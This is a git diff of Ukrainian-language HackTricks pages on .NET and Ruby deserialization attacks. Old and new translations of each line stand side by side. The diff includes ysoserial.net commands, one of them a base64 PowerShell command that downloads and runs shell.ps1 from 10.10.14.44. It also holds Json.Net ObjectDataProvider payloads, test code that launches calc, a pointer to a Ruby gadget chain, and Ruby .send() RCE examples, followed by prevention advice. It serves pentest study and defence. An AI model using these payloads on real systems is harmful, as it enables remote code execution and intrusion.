* **`--output`** використовується для вказівки, чи хочете ви отримати експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
* **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState
#### Додаткові параметри ysoserial.net
#### Більше параметрів ysoserial.net
* `--minify` надасть **менше навантаження** (якщо це можливо)
* `--raf -f Json.Net -c "anything"` Це вказує всі гаджети, які можна використовувати з вказаним форматером (`Json.Net` у цьому випадку)
* `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net буде шукати форматери, що містять "xml" (без врахування регістру)
* `--minify` надасть **менше корисне навантаження** (якщо можливо)
* `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (`Json.Net` у цьому випадку)
* `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net буде шукати формати, що містять "xml" (незалежно від регістру)
Приклади **ysoserial** для створення експлойтів:
**Приклади ysoserial** для створення експлойтів:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -674,9 +672,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** також має **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожна експлойтація: `--test`\
Якщо ви вказуєте цей параметр, **ysoserial.net** спробує **експлойт локально**, щоб ви могли перевірити, чи працюватиме ваше завантаження правильно.\
Цей параметр корисний, оскільки, якщо ви переглянете код, ви знайдете уривки коду, подібні до наступного (з [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
**ysoserial.net** має також **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожен експлойт: `--test`\
Якщо ви вкажете цей параметр, **ysoserial.net** **спробує** **експлойт локально,** щоб ви могли перевірити, чи ваш payload працюватиме правильно.\
Цей параметр корисний, оскільки, якщо ви переглянете код, ви знайдете шматки коду, подібні до наступного (з [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -690,7 +688,7 @@ Debugging.ShowErrors(inputArgs, err);
}
}
```
Це означає, що для тестування вразливості код буде викликати [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
Це означає, що для тестування експлойту код викликатиме [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
```java
public static object JsonNet_deserialize(string str)
{
@ -701,55 +699,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
У **попередньому коді є вразливість для створеного експлойту**. Так що, якщо ви знаходите щось схоже в додатку .Net, це означає, що, ймовірно, цей додаток також є вразливим.\
У **попередньому коді є вразливість до створеного експлойту**. Тож, якщо ви знайдете щось подібне в .Net додатку, це означає, що, ймовірно, цей додаток також вразливий.\
Отже, параметр **`--test`** дозволяє нам зрозуміти, **які частини коду вразливі** до експлойту десеріалізації, який може створити **ysoserial.net**.
### ViewState
Подивіться [цей POST про **спробу експлойтувати параметр \_\_ViewState в .Net**](exploiting-\_\_viewstate-parameter.md) для **виконання довільного коду**. Якщо ви **вже знаєте секрети**, використані на комп'ютері жертви, [**прочитайте цей пост, щоб дізнатися, як виконати код**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
Подивіться на [цей POST про **те, як спробувати експлуатувати параметр \_\_ViewState .Net**](exploiting-\_\_viewstate-parameter.md), щоб **виконати довільний код.** Якщо ви **вже знаєте секрети**, використані жертвою, [**прочитайте цей пост, щоб дізнатися, як виконати код**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
### Запобігання
### Prevention
Для зменшення ризиків, пов'язаних з десеріалізацією в .Net:
Щоб зменшити ризики, пов'язані з десеріалізацією в .Net:
- **Уникайте дозволу потоків даних визначати типи своїх об'єктів.** Використовуйте `DataContractSerializer` або `XmlSerializer`, коли це можливо.
* **Уникайте дозволяти потокам даних визначати свої типи об'єктів.** Використовуйте `DataContractSerializer` або `XmlSerializer`, коли це можливо.
* **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
* **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
* **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
* **Будьте обережні з типами, що мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
* **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
* **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
* **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
* **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
- **Для `JSON.Net`, встановіть `TypeNameHandling` на `None`:**
%%%TypeNameHandling = TypeNameHandling.None%%%
### **References**
- **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
- **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вбудовані ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно може призвести до атак на відмову в обслуговуванні.
- **Будьте обережні з типами, які мають ризиковані властивості**, наприклад `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яку можна експлуатувати.
- **Безпечно контролюйте створення типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
- **Реалізуйте контролі білого списку**, використовуючи власний `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
- **Будьте в курсі про відомі небезпечні гаджети десеріалізації** в .Net та переконайтеся, що десеріалізатори не створюють такі типи.
- **Ізолюйте потенційно ризиковий код** від коду з доступом до Інтернету, щоб уникнути викладання відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в додатках WPF, до ненадійних джерел даних.
### **Посилання**
* Документ про десеріалізацію JSON в Java та .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** виступ: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* Папір про десеріалізацію JSON в Java та .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
У Ruby серіалізація спрощена двома методами в бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку у об'єкт, процес відомий як десеріалізація.
У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (код аутентифікації повідомлення на основі хеш-функції)**, забезпечуючи цілісність та автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність і автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
* `config/environment.rb`
* `config/initializers/secret_token.rb`
* `config/secrets.yml`
* `/proc/self/environ`
**Загальний ланцюжок гаджетів Ruby 2.X для десеріалізації в RCE (докладніше в [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/))**:
**Генералізована десеріалізація Ruby 2.X до RCE гаджетного ланцюга (більше інформації в** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -820,18 +809,58 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Інший ланцюжок RCE для експлуатації Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Інша RCE ланцюг для експлуатації Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() метод
Як пояснено в [**цьому звіті про вразливість**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), якщо деякі неочищені дані користувача потрапляють до методу `.send()` об'єкта ruby, цей метод дозволяє **викликати будь-який інший метод** об'єкта з будь-якими параметрами.
Наприклад, виклик eval, а потім ruby код як другий параметр дозволить виконати довільний код:
{% code overflow="wrap" %}
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
{% endcode %}
Більше того, якщо лише один параметр **`.send()`** контролюється зловмисником, як згадувалося в попередньому описі, можливо викликати будь-який метод об'єкта, який **не потребує аргументів** або аргументи якого мають **значення за замовчуванням**.\
Для цього можливо перерахувати всі методи об'єкта, щоб **знайти деякі цікаві методи, які відповідають цим вимогам**.
{% code overflow="wrap" %}
```ruby
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
```
{% endcode %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# Базова десеріалізація .Net (гаджет ObjectDataProvider, ExpandedWrapper та Json.Net)
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити **рекламу вашої компанії на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Цей пост присвячений **розумінню того, як експлуатується гаджет ObjectDataProvider** для отримання RCE та **як** бібліотеки серіалізації **Json.Net та xmlSerializer можуть бути зловживані** за допомогою цього гаджета.
Ця стаття присвячена **розумінню того, як експлуатується гаджет ObjectDataProvider** для отримання RCE та **як** бібліотеки серіалізації **Json.Net та xmlSerializer можуть бути зловживані** з цим гаджетом.
## Гаджет ObjectDataProvider
З документації: _клас ObjectDataProvider обгортає та створює об'єкт, який можна використовувати як джерело прив'язки_.\
Так, це дивне пояснення, тому давайте подивимося, що цей клас має такого цікавого: Цей клас дозволяє **обгорнути довільний об'єкт**, використовувати _**MethodParameters**_ для **встановлення довільних параметрів**, а потім **використовувати MethodName для виклику довільної функції** довільного об'єкта, визначеного за допомогою довільних параметрів.\
З документації: _клас ObjectDataProvider обгортає та створює об'єкт, який ви можете використовувати як джерело прив'язки_.\
Так, це дивне пояснення, тож давайте подивимося, що ж цікавого є в цьому класі: цей клас дозволяє **обгортати довільний об'єкт**, використовувати _**MethodParameters**_ для **встановлення довільних параметрів** і потім **використовувати MethodName для виклику довільної функції** довільного об'єкта, оголошеного з використанням довільних параметрів.\
Отже, довільний **об'єкт** буде **виконувати** **функцію** з **параметрами під час десеріалізації.**
### **Як це можливо**
Простір імен **System.Windows.Data**, знайдений у **PresentationFramework.dll** за адресою `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, тут визначено та реалізовано ObjectDataProvider.
Простір імен **System.Windows.Data**, який знаходиться в **PresentationFramework.dll** за адресою `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, є місцем, де визначено та реалізовано ObjectDataProvider.
За допомогою [**dnSpy**](https://github.com/0xd4d/dnSpy) ви можете **інспектувати код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy), ви можете **переглянути код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../.gitbook/assets/image (299).png>)
![](<../../.gitbook/assets/image (427).png>)
Як можна побачити, коли встановлюється `MethodName`, викликається `base.Refresh()`, давайте подивимося, що він робить:
Як ви можете спостерігати, коли `MethodName` встановлено, викликається `base.Refresh()`, давайте подивимося, що це робить:
![](<../../.gitbook/assets/image (300).png>)
![](<../../.gitbook/assets/image (319).png>)
Добре, давайте продовжимо, подивимося, що робить `this.BeginQuery()`. `BeginQuery` перевизначено `ObjectDataProvider`, і ось що він робить:
Добре, продовжимо дивитися, що робить `this.BeginQuery()`. `BeginQuery` переозначено класом `ObjectDataProvider`, і ось що він робить:
![](<../../.gitbook/assets/image (301).png>)
![](<../../.gitbook/assets/image (345).png>)
Зверніть увагу, що в кінці коду викликається `this.QueryWorke(null)`. Подивимося, що виконує це:
Зверніть увагу, що в кінці коду викликається `this.QueryWorke(null)`. Давайте подивимося, що це виконує:
![](<../../.gitbook/assets/image (302) (1).png>)
![](<../../.gitbook/assets/image (596).png>)
Зверніть увагу, що це не повний код функції `QueryWorker`, але він показує цікаву частину: Код **викликає `this.InvokeMethodOnInstance(out ex);`** це рядок, де **викликається встановлений метод**.
Зверніть увагу, що це не повний код функції `QueryWorker`, але він показує цікаву частину: код **викликає `this.InvokeMethodOnInstance(out ex);`** це рядок, де **викликається встановлений метод**.
Якщо ви хочете перевірити, що просто встановивши _**MethodName**_\*\* він буде виконаний\*\*, ви можете запустити цей код:
```java
@ -62,16 +65,16 @@ myODP.MethodName = "Start";
}
}
```
Зверніть увагу, що вам потрібно додати як посилання _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ для завантаження `System.Windows.Data`
Зверніть увагу, що вам потрібно додати як посилання _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, щоб завантажити `System.Windows.Data`
## Розширений обгортка (ExpandedWrapper)
## ExpandedWrapper
Використовуючи попередню уразливість, можуть виникнути випадки, коли **об'єкт** буде **десеріалізований як** екземпляр _**ObjectDataProvider**_ (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). Потім, не буде **знання про тип об'єкта, який знаходиться в обгортці** екземпляра _ObjectDataProvider_ (`Process`, наприклад). Ви можете знайти більше [інформації про вразливість DotNetNuke тут](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Використовуючи попередній експлойт, будуть випадки, коли **об'єкт** буде **десеріалізовано як** екземпляр _**ObjectDataProvider**_ (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). Тоді **не буде відомо про тип об'єкта, який обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад, `Process`). Ви можете знайти більше [інформації про вразливість DotNetNuke тут](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Цей клас дозволяє **вказати типи об'єктів, які знаходяться вкладені** в заданий екземпляр. Таким чином, цей клас може бути використаний для упакування джерела об'єкта (_ObjectDataProvider_) в новий тип об'єкта та надання необхідних властивостей (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, подібних тому, що був представлений раніше, оскільки ми зможемо **упакувати \_ObjectDataProvider**_\*\* всередині екземпляра \*\*_**ExpandedWrapper** \_ та **під час десеріалізації** цей клас створить об'єкт _**OjectDataProvider**_, який **виконає** функцію, вказану в _**MethodName**_.
Цей клас дозволяє **вказати типи об'єктів об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (_ObjectDataProvider_) в новий тип об'єкта та надання необхідних властивостей (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо **обернути \_ObjectDataProvider**_\*\* всередині екземпляра \*\*_**ExpandedWrapper** \_ і **коли десеріалізується** цей клас **створить** об'єкт _**OjectDataProvider**_, який **виконає** **функцію**, вказану в _**MethodName**_.
Ви можете перевірити цей обгортка за допомогою наступного коду:
Ви можете перевірити цей обгортальник за допомогою наступного коду:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -95,11 +98,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
На [офіційній веб-сторінці](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного серіалізатора JSON.NET**. Таким чином, якщо ми можемо **десеріалізувати гаджет ObjectDataProvider**, ми можемо викликати **RCE**, просто десеріалізуючи об'єкт.
На [офіційному веб-сайті](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного JSON-серіалізатора Json.NET**. Отже, якщо ми зможемо **десеріалізувати гаджет ObjectDataProvider**, ми зможемо викликати **RCE**, просто десеріалізуючи об'єкт.
### Приклад Json.Net
### Json.Net приклад
Спочатку давайте подивимося приклад того, як **серіалізувати/десеріалізувати** об'єкт за допомогою цієї бібліотеки:
По-перше, давайте подивимося приклад того, як **серіалізувати/десеріалізувати** об'єкт, використовуючи цю бібліотеку:
```java
using System;
using Newtonsoft.Json;
@ -144,7 +147,7 @@ Console.WriteLine(desaccount.Email);
```
### Зловживання Json.Net
Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net) я створив експлоіт:
Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net), я створив експлойт:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
@ -157,7 +160,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
У цьому коді ви можете **перевірити вразливість**, просто запустіть його і ви побачите, що виконується калькулятор:
В цьому коді ви можете **перевірити експлойт**, просто запустіть його, і ви побачите, що виконується calc:
```java
using System;
using System.Text;
@ -194,14 +197,17 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,26 +1,41 @@
# Гаджети для забруднення прототипу Express
# Express Prototype Pollution Gadgets
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
